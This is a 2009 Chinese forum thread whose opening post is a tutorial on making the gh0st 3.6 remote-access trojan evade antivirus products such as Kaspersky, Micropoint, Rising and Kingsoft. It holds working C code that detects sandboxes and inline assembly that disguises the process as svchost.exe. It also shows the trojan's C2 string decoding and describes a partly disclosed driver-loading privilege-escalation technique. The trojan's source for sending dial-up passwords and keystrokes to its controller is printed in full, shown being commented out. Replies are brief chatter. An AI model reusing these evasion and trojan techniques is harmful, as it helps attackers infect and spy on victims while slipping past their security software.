Board logo

标题: 【通杀目前绝大部分主动防御】 [打印本页]

作者: 御剑临风.     时间: 2009-8-24 13:11    标题: 【通杀目前绝大部分主动防御】

纯粹的测试演示,详细的看原贴,因为是录象,所以放到这个版块。

原帖子地址:[url]http://forum.darkst.com/viewthread.php?tid=33246[/url]

[url]http://www.darkst.com/bbs/thread-33246-1-1.html[/url]


gh0st3.6过微点的方法

无意中发现的,只要利用VB把服务端捆绑到一个正常的软件上,直接过掉微点什

么提示都没有,真是让我十分的无语啊..........


【教程】给鸽子加壳你也可以过微点!

[url]http://www.darkst.com/bbs/thread-47310-1-1.html[/url]


过微点的行为主动

[url]http://www.darkst.com/bbs/thread-47544-1-1.html[/url]




一种新的加载驱动方法非完整爆光



端午小放血一下,一种新的加载驱动方法,应该属于0day。为了网民考虑,我不会公开全部技术,但如果有心,根据这些要点肯定可以研究出这个技术。

加载步骤:

1。编写一驱动,不用关sfc,直接复制替换系统目录下的某文件。

2。调用某API函数,此函数不是由ntdll,kernel32,user32这些DLL导出的,是可以在MSDN里查到的,为便于说明我叫它func1,如果不出意外驱动就已经加载了。

伪代码只有两行:

CopyFile("aaa.sys",'c:\\windows\\system32\XXXX.XXX',false);

func1(...);

特别注意:加载的驱动不能用一般的驱动,一般的驱动的入口点是

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath );

而这个驱动的入口点函数应该写成

NTSTATUS DriverEntry(LPVOID a,LPVOID b,LPVOID c)//注意,它没有PDRIVER_OBJECT

说明:

1。我大概测试了下以下杀软,没有一个报的

xp vista win7
瑞星+360 不报
超级巡警 不报
kis7 不报
微点 不报
卡巴2009 加载驱动不报,替换文件报(xyzreg帮助测试)

2。只要能替换system32目录下的那个文件,调用那个func1函数是没有权限要求的,所以在fat32系统上应该能直接从低权限提升到system权限。(也算是一个提权0day了)

3。好像貌似有办法不用自己调用func1函数,可以在替换文件后让csrss进程去加载这个驱动,也就是说杀软如果报了,也不会报你的程序。。。。。但我还没有完全研究出来,此条不一定正确。

4。发现此0day时间不长,工作又太忙,还没仔细研究,以上说明中可能有些不妥的地方,望谅解。


欢迎大家一起讨论啊





gh0st的分析(6.6)更新(转)


这些我只是简单分析下,个人技术问题,有什么问题就回帖。
1.gh0st的专版上线
在\gh0st\StdAfx.h 和 \Server\svchost\common\login.h 里找到

BYTE bToken; // = 1
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
int CPUClockMhz; // CPU主频
IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构
char HostName[50]; // 主机名
bool bIsWebCam; // 是否有摄像头
DWORD dwSpeed; // 网速

修改为:

BYTE bToken; // = 1
DWORD dwSpeed; // 网速
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
int CPUClockMhz; // CPU主频
IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构
char HostName[50]; // 主机名
bool bIsWebCam; // 是否有摄像头
感谢 Aisht 对这个的帮助。
共两处修改,对于好。
2.gh0st简单免杀
免杀DLL,在DLLMAIN函数内加花指令
免杀EXE,在WINMAIN函数内加花
这样就可以过金山,江民(不过就是加花太简单,推荐女王大大的那个花指令生成器)
免杀金山在WINMAIN函数的里面的GetInputState 这个WIN32 API前面。
3.真正完全去除驱动
按照洪流的gh0st去除SYS的教程,弄好了,再查找:IDR_SYS,两处没有注释的资源
//注释掉。
4.过卡巴(各版本)
#include <tlhelp32.h>
DWORD fpid,epid;
void VMM()
{
   PROCESSENTRY32 pe;
   HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   pe.dwSize=sizeof(PROCESSENTRY32);
   if (Process32First(hkz,&pe))
   {
    do
    {
        if (stricmp(pe.szExeFile,"explorer.exe")==0) //卡巴虚拟机没有模拟
       {
                     epid=pe.th32ProcessID;
       }
    }
    while(Process32Next(hkz,&pe));
  }
}

将以上代码加入程序就可以过卡巴启发
加入DLL的话,就不调用他,就过卡巴杀DLL文件
加入EXE的话,在WinMain函数内调用
VMM();   
if(!epid)return 0;

以上代码是列举进程,如果PID值等于0则退出,因为注定的进程值不可能等于0,0则表示在虚拟机或者沙盘环境。
4.一段忽悠进程的代码
一下代码在NB里面提取出来的:
//------------将该进程伪装为svchost.exe----------
void ByPassFireWall()
{
   
char szpath[64];
static char modulepath[128];//一定是全局变量,why?
    GetSystemDirectory(szpath,64);
    strcat(szpath,"\\svchost.exe");
    //转化为Unicode字符
for (int ii=0;ii<64;ii++)
    {
        modulepath[ii*2] = szpath[ii];
        modulepath[ii*2+1] = 0;
    }
//检测瑞星防火墙,防止蓝屏
bool NoRing=true;
HANDLE Snapshot;
Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 processListStr;
processListStr.dwSize=sizeof(PROCESSENTRY32);
BOOL return_value;
return_value=Process32First(Snapshot,&processListStr);
int i=0;//item index
char ProcessName[32];
while(return_value)
{
  strcpy(ProcessName,processListStr.szExeFile);
  for(int t=0;t<strlen(ProcessName);t++)
  {
   ProcessName[t]=processListStr.szExeFile[t]|0x20;
  }
  if(strstr(ProcessName,"rfwsrv.exe")!=NULL)
  {
   NoRing=false;
   break;
  }
  return_value=Process32Next(Snapshot,&processListStr);
  //获得系统进程链表中下一个进程的信息
  i++;
}
if (NoRing)
{
   __asm
    {     
           MOV EAX, fs:[30h]           
            MOV EAX, [EAX+0xC]         
            MOV EAX, [EAX+0xC]        
            lea ebx,modulepath
            mov WORD ptr[EAX+0x24],0x60  
            mov [EAX+0x28],ebx   
            MOV EAX, fs:[30h]
            mov EAX,[EAX+0x10]      
            lea EAX,[EAX+0x3c]      
            lea ebx,modulepath
            mov [eax],ebx                 //ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
   
            MOV EAX, fs:[30h]
            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,modulepath
            mov [eax],ebx                //CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
   }
   }
else
{
    __asm
    {            
            MOV EAX, fs:[30h]           
            MOV EAX, [EAX+0xC]         
            MOV EAX, [EAX+0xC]        
            lea ebx,modulepath
            mov WORD ptr[EAX+0x24],0x60  
            mov [EAX+0x28],ebx   
            MOV EAX, fs:[30h]
            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,modulepath
            mov [eax],ebx                //CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }
}
}

因为也列举了进程的判断,所以需要加头文件
#include <tlhelp32.h>
5.上线字符串算法


在base64的基础上又作了一个加密,下面是gh0st V3.6的源码中的:
char* MyDecode(char *str)
{
int i, len;
char *data = NULL;
len = base64_decode(str, &data);
for (i = 0; i < len; i++)
{
data -= 0x86;
data ^= 0x19;
}
return data;
}

可以修改base64_decode算法的字符串顺序,两处对应修改。

6.去除键盘记录(要写全局钩子,会被微点拦截)和获取宽带连接的东东
我直接修改代码,界面自己改

查找:Dialupass.h
两处,注视掉。
在Source Files下面删除Dialupass.cpp,超找发送宽带连接密码的函数:
“SendDialupassList”
void SendDialupassList();
改为:
// void SendDialupassList();

void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
  COneInfo *pOneInfo = pass.GetOneInfo(i);
  for (int j = 0; j < STR_MAX; j++)
   nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);

DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
  COneInfo *pOneInfo = pass.GetOneInfo(i);
  for (int j = 0; j < STR_MAX; j++)
  {
   int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
   memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
   dwOffset += nFieldLength;
  }
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);

}
改为:
/*
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
{
  COneInfo *pOneInfo = pass.GetOneInfo(i);
  for (int j = 0; j < STR_MAX; j++)
   nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);

DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
  COneInfo *pOneInfo = pass.GetOneInfo(i);
  for (int j = 0; j < STR_MAX; j++)
  {
   int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
   memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
   dwOffset += nFieldLength;
  }
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);

}
*/
case COMMAND_DIALUPASS:
  SendDialupassList();
  break;
这处
改为
/*
case COMMAND_DIALUPASS:
  SendDialupassList();
  break;
*/
宽带密码获取去掉了。
查找:Loop_KeyboardManager
这儿:
case COMMAND_KEYBOARD:
  m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
   (LPVOID)m_pClient->m_Socket, 0, NULL);
  break;
注视掉
/*
case COMMAND_KEYBOARD:
  m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
   (LPVOID)m_pClient->m_Socket, 0, NULL);
  break;
*/

DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
  return -1;

CKeyboardManager manager(&socketClient);

socketClient.run_event_loop();
return 0;
}
改为:
/*
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
  return -1;

CKeyboardManager manager(&socketClient);

socketClient.run_event_loop();
return 0;
}
*/
键盘记录这处,还有不少相关的,暂时这儿修改,可以让他不调用。
作者: lsj301     时间: 2009-8-24 14:00
偶打酱油去。
作者: xanga     时间: 2009-8-24 16:51
gh0st 連到vista嗎?
作者: disk     时间: 2009-8-24 18:19
你用的是试用版吧,测试结果与正式版有些区别的,推荐用预升级版进行测试。另外我发现微点似乎还带有代码分析跟踪与模拟执行技术(类似启发与虚拟机)(可能吧),配合行为分析技术及HIPS技术(行为分析和智能HIPS有区别,前者触法式,后者被动)。至于你上面讲的,我再研究并实践一下,弄清楚后会告诉大家的。
作者: f8312519     时间: 2009-8-24 19:52
大哥
你又来了
哈哈!
作者: kihiuyhjgh     时间: 2009-8-25 17:34
学习了~

试一试预升级版的,一般试用版和正式版的效果没预升级的好
但预升级误报比较厉害~




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn